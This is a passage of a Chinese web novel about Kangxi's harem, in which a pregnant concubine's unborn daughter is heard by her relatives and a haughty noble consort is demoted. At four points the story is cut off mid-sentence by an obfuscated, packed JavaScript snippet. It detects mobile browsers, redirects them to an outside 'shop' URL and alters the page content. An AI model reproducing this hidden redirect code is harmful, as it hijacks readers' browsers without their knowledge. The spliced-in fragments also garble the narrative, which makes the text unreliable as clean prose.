可四公主从小身强体健,就连四岁时患上天花也是三日便好,如今比猴子还皮实,郭贵人还真的追不上她。 坐在窗前,看着外面飘落的雪花,佟佳氏心里酸酸涩涩的。 她的女儿前年出生尚未满月便去世了,在怀胎十月时,她早已经给女儿取了小名萨贝,萨贝是满语,寓意为吉祥安好。 可萨贝从出生起便体弱多病,或许当初自己让萨满法师来驱邪,女儿就不会去世了。 桂嬷嬷走过来道:“娘娘,您身子本就不好,在风口受了寒,陛下和四阿哥会担心的。” 一想起四阿哥,佟佳氏心里涌上了一股暖意,自己若是受了寒生病传染给四阿哥可怎么得了? 她便任由桂嬷嬷将窗户关上,走到桌前喝了一口热奶茶,道:“想必良常在腹中的胎儿,定时健康漂亮的。” 桂嬷嬷道:“良常在出身低微,自己不能抚养孩子,若是娘娘喜欢,等孩子出世,娘娘向陛下一说,将孩子要过来便是。” 佟佳氏却摇摇头道:“算了,良常在如今在惠妃那里,都是生育过子女的,将心比心,谁又愿意跟自己的亲生骨肉分开呢?” 当年德妃身份低微,才由自己来抚养胤禛。 胤禛这孩子乖巧孝顺,能抚养他,是她的福气。 即便是她不介意生母养母问题,还让胤禛有空多去陪陪德妃,可德妃却对孩子不冷不热,渐渐的也伤了孩子的心。 前些年德妃又生了个胤祚,只可惜今年也去世了,唉,都是苦命人啊。 幸好德妃还有两个女儿相伴,相比起来,自己就很孤独了。 这也是她并未将胤禛还给乌雅氏的缘故,就让她自私一次吧。 桂嬷嬷知道皇贵妃心善,可总是这样,也苦了她自己。 康熙推门而入,看见表妹的脸上挂着泪痕,忙上前道:“这是怎么了?” 佟佳氏摇摇头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228903|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事。” 康熙俯身用手帕给佟佳氏拭泪,看向了桂嬷嬷,而后者道:“娘娘是想萨贝公主了。” 原来是想我们的女儿了。 康熙蹲在佟佳氏面前,轻抚她的手背,柔声道?:“表妹莫要再叹惋膝下空寂了。良常在腹中怀的便是个乖巧可人的女孩儿。待她满月后,朕便让人将她抱来景仁宫,交由你亲自抚育,岂不正好?” 佟佳氏掩唇轻笑,眼波流转间带着几分俏皮?: “陛下又拿臣妾取笑了。良常在尚在孕中,陛下便断言是男是女,莫非比太医院的御医还要神通广大?” 康熙闻言一怔,随即朗声大笑,眼中闪过一丝狡黠?: “朕竟一时失言!不过表妹既不信,朕便与你打个赌。若朕所言不差,你待如何?” 佟佳氏微微蹙眉,嗔怪道?: “陛下富有四海,想要什么珍宝奇玩得不到?偏要来与臣妾这深宫妇人打赌。须知臣妾所有的一切,不都是陛下所赐?想要臣妾做什么,陛下若下旨,臣妾岂敢不从?” 康熙将她拥入怀中,下巴轻抵她发顶,声音低沉而笃定?: “谁说的?这景仁宫的一草一木,从今往后便是你的私产。朕赏赐之物,绝不收回。如此,表妹,可愿开颜一笑?” “我要这些俗物做什么?”佟佳氏道,“陛下今日可有空留下吃饭?胤禛的学问又长进了,若是能够得到陛下的夸奖,这孩子明日学习定会更用心的。” 康熙笑道:“既然来了,又怎么能走呢?表妹瘦了,一会儿要多吃些。至于胤禛,这孩子被表妹教养的很好,表妹真是辛苦了。” 饭桌上,七岁的小胤禛背诵了今日学习的《中庸》里的文章,语言流利,谈吐清晰,让康熙十分满意,提了几个问题胤禛也答得很好。 康熙将胤禛抱在怀里,笑道:“学的不错。” 日后可以辅佐太子当个能臣。 住在永寿宫的贵妃听闻宫里出现个“福星”,十分不悦。 她是今年九月刚刚生下了皇十一女,怎么她的女儿出生之前,就没有萨满法师来说什么“福星降世”呢? 这个良常在,生下的八阿哥相貌好过十阿哥,如今她未出生的孩子还要营造福星的名头,真是越卑贱的人越喜欢作怪,攀上了惠妃还嫌不够,野心有多大? 第二日,她便以赏赐良常在燕窝为由,让良常在去一趟永寿宫。 卫氏听到来人传话,心中便是一咯噔,这宜妃是娇蛮,可这贵妃便是骄横跋扈了。 昨夜她担心宜妃的儿子被自己腹中胎儿抢了风头,一宿没怎么睡,可偏偏今日竟是贵妃的人先来了。 “贵妃赏赐,卫氏一定要去,只是能不能先跟惠妃姐姐说一声,免得她担忧?” 这种时候,也就指望惠妃能救一救自己了。 谁知那太监却不耐烦道:“取个燕窝而已,磨磨唧唧做什么?你先跟奴才去了,你屋子里的丫鬟还不知道去禀告惠妃吗?若是去晚了,贵妃娘娘怪罪,还要连累到奴才们的头上。” 6. 第 6 章 “公公说的是,那我这就跟公公走。” 卫氏是个柔弱的性子,让人给自己穿上外套,手里捧着暖炉便出门了。 冬日紫禁城的宫道上,积雪覆地,银装素裹。 因大着肚子,卫氏在路上就格外小心,行动缓慢。 【娘亲,我们不是去取燕窝吗?你的心脏跳这么快做什么?】 【哦,我知道了,娘亲一定馋燕窝了,着急取回来吃。】 卫氏叹息了一声,这天真的孩子,她哪里是去取燕窝,这分明是去赴刑场。 “快些,别让贵妃娘娘等急了。” 【这个公公是怎么回事?对娘亲说话也太不客气了吧?娘亲可是个常在。】 婉菱不懂清宫等级,以为常在便是个不小的位份了。 她这番话,却让正蹲在路边,兴致勃勃地堆雪人的五阿哥听到了。 他头戴一顶黑貂皮暖帽,帽檐下露出一张?圆润如新荔的小脸?,看上去十分喜庆。 身着浅蓝色暗云纹缎面棉袍,外罩银鼠皮镶边、青狐皮领口的御寒斗篷,圆润如小兽的身躯将斗篷撑得鼓鼓囊囊,活像一只糯米团子。 他转头望去,只见一位身怀六甲的妃嫔,在太监的搀扶下缓缓走来。 他见过此人,是八弟的生母。 那刚刚良常在的肚子里传出来的那道清脆的童音…… 胤祺眼睛一亮,好奇心驱使他丢下雪人,小跑着迎了上去。 “呦!五阿哥,您怎么在这?”那为首的太监见状,立刻谄媚地迎上前,态度明显比对待良常在更恭敬几分。 【五阿哥,那不就是我五哥吗?】 那童音又响了起来,带着几分稚嫩与活泼:【五哥哥好,我是婉菱。】 胤祺惊讶得张大了嘴巴,乌溜溜的眼珠瞪得溜圆,仿佛看到了什么不可思议的奇事。 他伸手掐了掐自己的手心,确认这不是在做梦,然后兴奋地围着良常在转了一圈,小嘴不停地念叨:“哇!婉菱妹妹好,我是胤祺。” 一个五岁的孩子,无论做出什么样的举动,大人们都不会把他当回事的,更何况五阿哥也是公认的有些“憨憨”。 故而,那太监只道:“是贵妃娘娘要良常在去一趟,五阿哥莫要耽误时间,让良常在在雪中冻坏了身子。” “哦。”胤祺乖乖让开了路,道,“那你们走吧,我下次再跟妹妹说话。” 婉菱对着看不见的五哥道:【五哥哥再见喔。】 看见了有趣的妹妹,胤祺也没心思堆雪人了,快步跑回慈宁宫,对太后道:“皇祖母,你猜我今天看到了什么?” 因为跑得急,还呼哧呼哧地喘着粗气。 太后轻轻拿起帕子,为他擦去鼻尖和脸颊两侧的汗液,眼中带着慈爱的笑意,柔声问道:“看见了什么?” 胤祺仰起脸,稚气未脱的脸上满是兴奋,奶声奶气地答道:“不是看见,我听见了,良常在肚子里的妹妹,在跟我问好呢。” 太后闻言,微微蹙眉,露出几分诧异之色:“你去延禧宫了?” 可胤祺与良常在平日里并无交集。 她狐疑地看向跟在胤祺身后、默默侍立的太监与嬷嬷。 一位年长的嬷嬷见状,赶忙上前一步,恭敬地低声禀道:“回太后,是贵妃娘娘传召良常在前往永寿宫,恰巧在途中遇见了五阿哥。” 太后轻轻颔首,若有所思,问道:“良常在的肚子六个多月了,贵妃是有什么要事找她?” 那嬷嬷垂首,声音压得极低道:“这……就不清楚了。” 宫里的事情,向来不必明言,贵妃钮祜禄氏仗着显赫的家世,平日里便骄横跋扈,没少欺负宫里的妃嫔。 太后再联想到昨日那颇为玄妙的“福星”预言,心中便涌起一股不安,脸色也沉了下来,冷声道:“走,我们去永寿宫瞧瞧。” “哦,太好了!皇祖母你怎么知道我想要去见妹妹?” 胤祺一听,眼睛瞬间亮了起来,兴奋得蹦蹦跳跳,小脸上满是期待。 太后见状,轻轻捏了一把他的脸颊肉,带着几分宠溺又带着几分严肃道:“不要胡说,也可能是个弟弟。” 胤祺懵懵懂懂地眨了眨大眼睛,道:“哦,皇祖母说是就是吧。” 在他小小的心里,皇祖母懂得最多,定然不会错。 只是,他心底又隐隐觉得,这个弟弟的声音,似乎有点奇怪。 * “良常在,你一个小小常在,却跟我耍起了威风,本宫赏赐你燕窝,你却摔在地上,可有把本宫放在眼里?” “娘娘,嫔妾实在不是故意的,只是这燕窝太烫,嫔妾一时失手,请娘娘宽恕。” “宽恕了你,本宫日后会如何协理六宫?” 皇贵妃体弱,后宫的妃子、孩子又多,事务繁忙,因此康熙便命令贵妃与惠妃协理六宫。 【好凉啊,娘亲,你是又跪在地上了吗?】 寒气丝丝渗入卫氏的腹部,小婉菱也打着寒颤不舒服了起来。 都是额娘对不住你,你来到我的肚子里,却被连累。 卫氏垂眸望着肚子,有苦难言。 贵妃却以为她是在用怀孕说事,冷哼一声:“别以为肚子里有个孩子就了不起了,这孩子生不出来也轮不到你来养,论身份,也远远不如太子和本宫的儿子。” 良常在微微垂首,声音带着几分颤抖与恳切道:“嫔妾从未想过,要依靠腹中这未出世的骨肉去获得些什么。只是,孩子终究是无辜的,等孩子生出来后,嫔妾任由娘娘打骂处罚,绝不怨怼。娘娘也刚刚生下十一皇女,想必也最能明白妾身此刻这为人母的心思。” 贵妃坐在对面,阴阳怪气道:“正是因为本宫刚刚生了孩子,才愈发厌恶有些人,妄图利用孩子来争宠邀功。你尽管放心,你腹中胎儿一向康健,这点寒气,还不至于让他受不住。若是真的受不住,反倒证明了你这孩子是个没福气的,并非所预言的‘福星’。” 良常在听闻此言,张了张嘴,想要再辩解几句,却还未发出声音,只听得外面传来一阵急促的脚步声,紧接着是太监那高亢又带着急切的喊声:“太后驾到!” “快,给她搀起来!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228904|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 贵妃见状,神色一紧,赶忙下达命令。 在一旁站着的那两个嬷嬷,动作迅速地走上前,将良常在小心翼翼地扶了起来。 门被推开,太后缓步踏入,目光扫过屋内,并无异样。 “平身吧。”太后心中虽存疑惑,但见眼前这般景象,也暂且放下心来,问道:“良常在怎么也在这里?” 贵妃站起身来,脸上挂着得体的微笑道:“是臣妾叫她来取燕窝的。臣妾这里新得了几份上好的燕窝,听闻她最近爱吃,便想着给她一份,也好让她和腹中胎儿补补。” 太后微微颔首,脸上露出赞许之色,说道:“贵妃有心了。不过,这等小事,你派人把燕窝送过去就是了,何必让她一个孕妇亲自来取?” 贵妃神色微微一滞,轻声道:“……是良常在主动来谢恩的。” 说完,贵妃又用那极具威胁力的眼神,冷冷地望向良常在,那眼神中满是警告与压迫,仿佛在告诫她不可多言。 卫氏心中满是惶恐,她深知自己不能得罪贵妃。 毕竟,她与太后并不熟悉,太后此番出现为她做主,不过是偶然,却未必次次都能及时救她于困境之中。 贵妃祖父乃开国将军,功勋卓著;祖母是努尔哈赤的女儿,身份尊贵;爹爹更是辅政大臣遏必隆,资历深厚。太后绝不会为了自己这一个辛者库五品小官之女,便轻易斥责贵妃。 故而,良常在无奈之下,只能强颜欢笑,卑微道:“是嫔妾感激贵妃娘娘的恩典。” 谁知,她肚子里那个尚未出世的小生命,却早已对这虚伪的场面心生不满。 【放屁!明明是你派人逼着我额娘过来的,我额娘在冷风中冻了一路,到了这里你就罚她跪,地上这么凉,可冻死我额娘了!】 这腹中胎儿的心声,太后自然听不见,可五阿哥胤祺却能。 他流利地用蒙古语复述道:“是你派人逼着良常在来的,她在路上受了凉,你还罚她跪,贵妃娘娘,你可不能对我皇祖母撒谎!” 贵妃与太后立即惊愕地看向五阿哥,前者震惊他怎么会知道的这般清楚,后者还加了一层震惊在于性子温和的孩子怎么忽然言辞犀利了起来。 太后微微眯起凤目,问道:“贵妃,五阿哥所言,可是真的?” 贵妃眼神慌乱地闪烁了几下,脸上强挤出一丝不自然的笑容,道:“小孩子家家的,想象力倒是丰富。” 太后冷哼一声,道:“那良常在的膝盖上有没有寒气,一摸便知。更何况,你屋子里太监宫女这么多,审问一下总有人会招的。贵妃,难道你还要狡辩吗?” “我、我只是……” 贵妃一时语塞,嘴唇微微颤抖。 太后见状,不再多言,径直上前,握住良常在的手。 果然,那手十分冰凉。 太后怒火更盛,将自己怀里的手炉塞到良常在的手中,声音里带着几分严厉道:“贵妃,良常在怀有身孕!我先把良常在带走了,至于你的解释,还是给陛下听吧。” 说完,便带着良常在,在众人敬畏的目光中离去。 7. 第 7 章 慈宁宫内,卫氏坐在温暖的炕上,颇有些不自在道:“太后,惠妃姐姐那边,还没有去说。” 太后道:“她也是个不中用的,陛下让她照看着你,她却就这么让贵妃把人带走了,还不派个人跟着看看。你就在我这里待着,等她什么时候想起了你,自会找来。” 胤祺坐在她旁边,早就迫不及待地跟婉菱对话了:“你到底是妹妹还是弟弟呢?” 【妹妹,当然是妹妹,女孩子才好呢。】 胤祺双手托腮道:“啊?男孩子不好吗?” 【女孩子香香的,男孩子臭臭的。】 胤祺闻了闻自己的胳膊,又将手伸到太后面前,道:“皇祖母,您闻闻,我身上是不是臭臭的?” 太后不明所以,觉得这孩子魔怔了:“你身上哪有臭味?就算不是日日洗澡,我也给你擦身子、换上干净的内衣。” 胤祺又“噔噔噔”跑回炕上坐着,对良常在肚子道:“我不臭。” 良常在面对太后那审视性的眸光,尴尬地笑了笑,装作什么都不知道。 【那、那想必是因为你是我哥哥,你才不臭的。】 婉菱觉得自己很聪明的点了点头。 胤祺也不大聪明,茫然道:“是这样啊,那我真是有福气,多亏了你啊。” 【感谢要付出行动,等我出生后,你要保护我、宠着我。】 胤祺拍了拍胸脯:“没问题。” “胤祺……”太后看着他担忧道,“你若是想要和妹妹玩,哀家便带你去找雅尔瑛。” 雅尔瑛是德妃所出,序齿为五公主,是出生半年后被康熙抱到了太后这里,想要抚慰太后。 太后也觉得一男一女能凑成个“好”字,再加上五公主冰雪聪明,她同样很疼爱五公主。 胤祺摇摇头:“不要,这个妹妹声音好听,说话也流利。” 雅尔瑛才两岁,说话是单个字往外蹦,但其实这已经是比较聪慧的了,胤祺是三岁半才会说话,还磕磕巴巴的。 太后皱眉道:“你这孩子,再胡言乱语哀家就要给你请太医看看了。” 她听不见,自然是不信胤祺所说。 而胤祺委屈地咬着下唇,不明白为何只有自己能够听见。 不过换个思路,他又觉得高兴,因为这是兄妹之间的“心有灵犀”。 虽然嘴上不再跟太后争辩,但饭桌上,他听见良常在肚子里的妹妹想要吃什么,便会伸出小胳膊努力为妹妹夹菜。 太后看向良常在,笑道:“这孩子就是很懂礼貌。” 卫氏道:“都是太后您教导有方,五阿哥才这般淳厚。” 太后这里伙食真的很好,再加上来回走路运动,以及胤祺夹了很快菜,卫氏成功吃撑了。 小婉菱在她肚子里甚至打起了饱嗝。 【嗝】 听着过几秒的“嗝”一声,再加上卫氏的肚子老是发颤,胤祺担忧道:“妹妹在里面还好吧?” 太后对身旁的嬷嬷道:“还不快去请御医!” 御医诊断后,道:“回禀太后,是吃多了。” 太后道:“只是吃多了吗?” 那为什么大人不打饱嗝却肚皮颤抖呢? 御医顿了顿道:“也是因为凉气入体,冬日孕妇还需要多注意保养。” 这就是了。 太后立马让人去通知贵妃。 永寿宫内,贵妃摔碎了好几个茶杯。 一方面,因为被太后折损了脸面,让太后把卫氏带走了;另一方面,又真的担心皇后会因此怪罪自己。 她指着跪在碎瓷片上的宫女道:“是不是你去找太后告状的?她怎么会知道的那么清楚?” 这宫女唤作琥珀,也是倒霉,在卫氏被罚跪以及太后来之前,只有她一个人出去过。 琥珀双脸已经红肿,泪水涟涟地摇着头道:“娘娘,真的不是奴婢说的,奴婢只是出去打热水了,准备给您泡茶喝。” 贵妃道:“打热水的路上可以碰到的人可不少。” 正在教训琥珀,太后身边的秦嬷嬷却又来了,贵妃坐在那里动也未动,抬眼道:“又怎么了?总不至于本宫连教训个犯了错的宫女,太后也要带走吧?” 秦嬷嬷道:“太后说良常在受了寒气,胎动不安,要您过去看看。” 贵妃翻了个白眼道:“我过去做什么?我又不是太医!” 秦嬷嬷道:“这奴婢就不懂了,奴婢把话已经带到,就先行一步了。” 贵妃旁边的王嬷嬷道:“娘娘,还是去一趟吧,太后毕竟是长辈,陛下向来倡导孝道。” 是啊,陛下对太皇太后与皇太后都很尊敬。 贵妃起身,这天气阴沉沉的,即便穿着内衬为上等紫貂皮的氅衣,手里捧着刚装好的手炉,也仍旧觉得寒风刺骨。 “这么冷的天,太后还要我出门,岂不是故意折磨我?”她刚走了两步,便又回去了,对王嬷嬷道,“去,跟太后禀告,说我身体不适,不能去慈宁宫了。” 太后听到王嬷嬷的话,顿时心里生了怒气,等了一下午贵妃都未来,她便让秦嬷嬷去请陛下过来吃晚膳。 康熙刚刚与臣子探讨公事,本就打算晚上再去看看卫氏。 到了慈宁宫,卫氏的肚皮已经恢复了正常,他还觉得有些惋惜,没听见女儿打嗝的声音。 太后刚刚也摸过卫氏的肚子,被贵妃惹怒的心情有所好转,还能笑谈道:“我说这里面动的这般有力,定是个精力旺盛的男孩,可胤祺却死犟着说是个妹妹,你说这孩子,小小年纪,就犯了痴。” 康熙道:“皇额娘,这次胤祺没有骗你,这里面确实是个公主。” 胤祺眼睛亮亮的:“皇阿玛,你是不是也能听见妹妹在说话?” 康熙摸了摸他的头,并没有承认,因为这事若是传出去,还未必对卫氏母女有好处呢。 大阿哥和八阿哥虽然不懂这些,但是都很默契地没有四处跟人宣传,反倒是胤祺,傻乎乎的,他有空得单独跟他聊聊。 不对,是跟所有皇子公主聊一聊,依他看来,但凡是有血缘关系的,都能听见卫氏肚子里女婴的话。 晚饭还未开始,惠妃、皇贵妃却也带着四阿哥、八阿哥来了。 大阿哥在阿哥所里住,忙着在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228905|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上书房听课,平日不回惠妃那里。 八阿哥本在接受启蒙教育,下午放学后知道额娘被贵妃请走后一直未归,担心不已,可惠妃又不在延禧宫,他便哭得上气不接下气的跑到了景仁宫。 正好胤禛也在,忙拿出手帕给八弟擦鼻涕眼泪,佟佳氏既然已经知道此事,便也过来看看。 太后看着惠妃,撇了撇嘴:“你现在才找来,若是等你,卫氏肚子里的孩子都被贵妃给折腾没了。” 卫氏怀孕,惠妃本就有照顾之责,此刻心中慌乱不已,跪下道:“这、臣妾今日去皇贵妃处核对账目,午饭也是在她那里吃的,不知道此事。” 佟佳氏道:“确实是这样,说到底也是我们的失职,幸好太后及时到了。” “罢了,起来吧。”太后摆摆手道,“先一起吃顿饭,有什么话,吃过饭再说。” 吃过晚饭,太后便讲述了今日见闻,缓缓道:“幸好胤祺这孩子机灵,只是贵妃行事未免有些跋扈了,她也是刚生育不久,怎么反倒不能体谅孕妇的辛苦了呢?” 被皇阿玛以及哥哥弟弟用赞许的眼神望着,胤祺有些不好意思地挠了挠头,妹妹有难,他身为哥哥就应该帮忙的呀,都是一家人嘛。 皇祖母也是从小就这般教育他的。 康熙心里压抑着怒火道:“来人,去永寿宫。” 【皇阿玛这么快就走了?可我才刚醒,还没有跟皇阿玛问安呢。】 【今日额娘与我都被人欺负了,皇阿玛会不会为我们做主呀?】 康熙停下了脚步,望着卫氏的肚子。 又听见了女儿软糯糯的声音,他有点舍不得走了。 胤禛看向了良常在的肚子,却又迅速收回眼神,疑惑性地观察五弟的反应,果然,五弟张了张嘴,欲言又止,而皇阿玛也身形微顿。 小小年纪的他着实想不明白小妹妹的说话声为何会被大家听见,但也没有把这件事当众问出来。 康熙道:“封良常在为贵人,怀孕期间见任何人都可以不行礼,也可以拒绝任何人的传唤。” 说完,方才出门。 永寿宫内,贵妃吃饱喝足,正在亲手给两岁的儿子喂肉粥,一句“陛下驾到!”惊得她差点把勺子掉落在地。 陛下来了?! 早就知道太后定不会轻饶了她,可她还是不愿意去慈宁宫,她是贵妃,又刚刚为陛下诞下皇女,处罚一个常在还不行了? 康熙推门而入,眉宇间凝结着未散的怒气,却在瞥见贵妃脚踝的瞬间,身形微滞。 那处裹着层层白纱,肿胀得骇人,他蹙眉问道:“你这是怎么了?” 贵妃伏在地上,面色苍白却仍挤出一抹虚弱的笑:“陛下莫忧,不过是今日午后急着去给太后请安,不慎崴了脚,倒也无碍。” 康熙上前一步,眯着眸子又看了看她的脚踝,问道:“那你怎么不跟太后说一声?” 贵妃道:“这点小事臣妾自己忍着便好,不想让太后担忧。” 这时,里屋的小公主又哭了起来,王嬷嬷道:“定是刚睡醒又想额娘了,小公主便是如此,一刻也离不开贵妃。” 8. 第 8 章 贵妃作势急忙要起来,可脚踝却似乎使不上力气,又摔在地上,疼得额头冒出了冷汗。 康熙不再冷眼旁观,而是将她抱起,声音里多了几分关切:“既已伤着,何须强撑行礼?且到炕上歇着罢。” 贵妃窝在康熙怀里,水眸蒙着薄雾望向龙颜:“陛下,今日臣妾未去太后处,太后定是怪罪了,一切都是臣妾不好。” 康熙轻轻将她安置在炕上,目光转向襁褓中的小公主。宫女正用银匙舀着温好的羊乳,公主的小嘴随着奶香自觉张开。 都是他的孩子,眼前这个小公主也很可爱,带着几分慈父心肠,康熙对贵妃又宽容了几分,只是声音带着几分严厉道:“太后并非心胸狭窄之辈,只是你今日不该罚跪良贵人。” 贵人?贵妃疑惑地看向梁九功,后者道:“卫氏刚刚被陛下升为贵人,怀孕期间可以拒绝任何人的传唤、见到地位高的人可以不行礼。” 这个贱人!竟然能让陛下对她如此特殊优待。 贵妃深吸了几口气,方道:“臣妾也不想当这个恶人,可宫规森严,良贵人到了臣妾宫内,竟然因为侍茶宫女不小心打碎了一杯茶,便罚她跪在碎瓷片上掌嘴。臣妾当时正在给孩子喂奶,一时没有及时出来接见她,等出来时,那侍茶宫女脸颊已经高高肿起,膝盖上的血把碎瓷片都染红了!” 琥珀被两名宫女搀扶着进来,她刚行完半礼,膝间渗出的血渍便透过素白纱裤,在地砖上晕开几朵红梅。 康熙的目光如鹰隼般掠过琥珀肿胀的脸颊和渗血的膝盖,袖口下的手指叩着紫檀扶手:“朕问你,真是良贵人把你罚成这样的?” 良贵人素来是出了名的温柔怯懦,怎么敢在贵妃的宫里惩罚宫女? 这话不仅康熙不信,就算是宫里其他人也不会信。 琥珀的睫毛剧烈颤动,像受惊的小鹿。 她慌乱抬眼望向贵妃,却正撞上那双淬了毒的眸子。 她想起王嬷嬷刚刚的威胁“你们全家的小命可就在你一念之间了”。 琥珀的身子猛地一缩,脖颈几乎要埋进衣领里,声音细若游丝:“是……是良贵人……因奴婢失手打碎了茶盏。” 康熙冷笑一声,道:“朕这就去良贵人那里问问,若果真如此,朕绝不姑息,若是有人故意陷害,那就按照欺君之罪论处!” 说完便起身离去。 贵妃在后面心慌意乱地望着康熙的背影,不明白他想要审问真相,在自己宫里审问太监宫女就好了,去问良贵人做什么?她即便是真的做了,又怎么会承认呢? 【五哥哥,你好厉害,还会学马叫呢。】 “不仅是会学马叫,我还会学马儿跑步呢。” 五阿哥被夸得兴致高涨,小脸涨得通红,竟又压低身子、扬起双臂、撒开腿小跑起来,缎面黑金靴在地砖上发出“嗒嗒”轻响,活脱脱是匹欢脱的小马驹。 太皇太后倚在紫檀雕花椅上,微微蹙起眉,眼中闪过一丝困惑:“这孩子怎的越来越憨了呢?"” 想起太皇太后当年亲自教导出来的玄烨,再看看眼前这个憨态可掬的孙子,她竟忍不住轻抚额角,心中暗道:“莫非是哀家的育儿手段这么差劲?” 胤禛迈步上前,小脸严肃道:“五弟,你跟我来一下。” “哦。” 虽然四哥身材没有自己壮,个子也只高一点点,但他板起脸来自己还是不由自主地听话。 胤禛带着胤祺向角落而去,又看了一眼八弟,连八弟都比五弟稳重些。 这里只有他们兄弟两个,胤禛道:“你也听到了,婉菱妹妹的那些话,是不是?” 胤祺瞪圆眼睛,兴奋道:“是啊,四哥,为什么皇祖母听不到呢?” 胤禛道:“我也不知道为什么,只是皇祖母听不到,你却自顾自地跟婉菱妹妹闹,这样不大好。” 胤祺道:“为什么不好呢?我可以把婉菱妹妹的话转达给皇祖母呀。” 胤禛道:“总之是不好啦,就像是我有个秘密只告诉八弟不告诉你,你会不会心里难受呢?” 胤祺想着,他确实会心里不痛快,但是只有一点点。 胤禛继续道:“刚刚你这样蹦蹦跳跳和婉菱闹,像只小猴子,多不体统。再说婉菱妹妹也需要休息,你这样有点吵。” 胤祺被说服了,嘟嘴道:“好吧,那我控制一下我自己。” 两人回去后,他果然安静了不少,而婉菱刚刚阖上眸子,耳朵动了动,却又听见皇阿玛的声音。 “良贵人,你今日在贵妃宫里,可是因为宫女打碎了茶盏而处罚了一名宫女?” 卫氏听到这里,连忙条件反射地起身要下跪,却被康熙抬手制止了:“朕不是说过,你怀孕期间不必跪吗?” 卫氏坐会炕上,道:“请陛下明鉴,确实有个宫女在嫔妾面前打碎了茶盏,但是嫔妾没有对她进行任何处罚,嫔妾也没有这个权力。” 这就是了,康熙点点头,果然,又听见卫氏肚子里的孩子说道:【额娘当时受惊了,心跳得非常快,那宫女打碎茶盏后不仅不道歉,还阴阳我额娘挡了她的路,我额娘被骂了都没有还嘴。】 康熙道:“岂有此理!宫里竟然会有这样的宫女,真是无法无天!来人,将贵妃降为常在,收回协理六宫之权。” 太后有些疑惑地看向康熙,但是没有说什么,这贵妃不尊重自己,她也没有必要给贵妃说好话。 收到圣旨,贵妃傻眼了,梁九功道:“贵妃娘娘,接旨吧。” 钮祜禄氏也顾不得脚踝上的“伤口”了,立即让人准备舆车,她要去见陛下! 可是王嬷嬷劝道:“娘娘,你先别急,陛下现在正在气头上,等过两日再让太皇太后帮忙说些好话。” 钮祜禄氏道:“陛下竟然听了那个贱人的话!本宫现在就要求太皇太后帮忙做主!” “陛下把您降为常在,按照规矩,你现在出门连舆车都不能用了,更何况您脚踝上的伤……”说到这里,她压低了声音,“娘娘,忍一时之气。” 钮祜禄氏转身一把甩开了她拉住自己袖口的手,气冲冲指着她面门道:“都是你,给我出了那个馊主意,如今可好了,你也满意了。” 王嬷嬷连忙跪地道:“娘娘这话可是折煞老奴了,老奴可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228906|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一心一意为娘娘着想啊。” 天色已黑,佟佳氏与惠妃也带着两个阿哥双双告辞,康熙跟佟佳氏一起去景仁宫休息。 “我想要跟良贵人一起睡。” “我看你是想要上天!”太后威胁道,“你若是再敢胡闹,皇祖母便立即让人把良贵人送回惠妃那里。” 婉菱一听就急了:【五哥哥你可消停会儿吧!】 五阿哥扁扁嘴道:“那好吧。” 反正明日早上还可以听见妹妹的声音,五阿哥临睡前,眨巴着眼睛期待明日天快点亮起来。 第二日,难得的温度上升了些,阳光照射到地面,雪逐渐融化。 应婉菱的要求,良贵人来到院子中,坐在贵妃椅上 她的目光越过庭前的积雪,落在那几株“血柳”上。 这树她家中也有,是冬日里难得的一抹亮色。 只是同样的树,命却不同。 若得精心养护,便如眼前慈宁宫中的这几株:枝干挺拔,树皮是鲜润的火红色,在素白的雪地里烧着一般。 枯叶早已被打扫得干干净净,连树根周围都圈着齐整的汉白玉石栏,处处透着皇家体面。 可若是无人照管呢? 她便想起自家院里那株。 枝桠横斜,树皮是黯淡的绛红色,像干涸太久的血。 叶子落了大半,稀稀拉拉挂在枝头,风一吹便打着旋儿往下掉,落在无人清扫的砖缝里,渐渐沤成泥。 她刚入宫时,不过是个洒扫宫女。每日提着水桶、握着长柄扫帚,走过一道道宫墙。 她扫过好几处“血柳”,景仁宫的血柳周围萦绕着一抹药香,永和宫的血柳边总有散不尽的檀香味,钟粹宫的血柳前常闻狗吠声…… 